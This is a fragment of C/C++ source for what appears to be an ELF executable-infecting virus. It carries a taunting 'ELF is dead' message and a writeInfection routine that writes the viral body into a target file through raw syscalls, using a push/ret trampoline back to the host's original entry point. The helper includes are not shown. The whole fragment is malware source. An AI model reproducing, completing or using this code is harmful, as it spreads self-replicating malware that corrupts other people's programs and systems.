int get_relocate_ofs(void);
int do_syscall(int, ...);
extern const char msg[];

#include "infection.inc"
#include "core.inc"
#include "get_relocate_ofs.inc"
#include "do_syscall.inc"

const char msg[] __attribute__ (( section(".text") )) =
  "ELF is dead baby, ELF is dead.\n";

void end() {}

unsigned Target::writeInfection()
{
  int ofs = get_relocate_ofs();
  char* r_begin = ofs + (char*)&infection;
  char* r_end = ofs + (char*)&end;
  unsigned size = r_end - r_begin;

  /* first byte is the opcode for "push" */
  do_syscall(4, fd_dst, r_begin, 1);

  /* next four bytes is the address to "ret" to */
  do_syscall(4, fd_dst, &original_entry, sizeof(original_entry));

  /* rest of infective code */
  do_syscall(4, fd_dst, r_begin + 5, size - 5);
  return size;
}
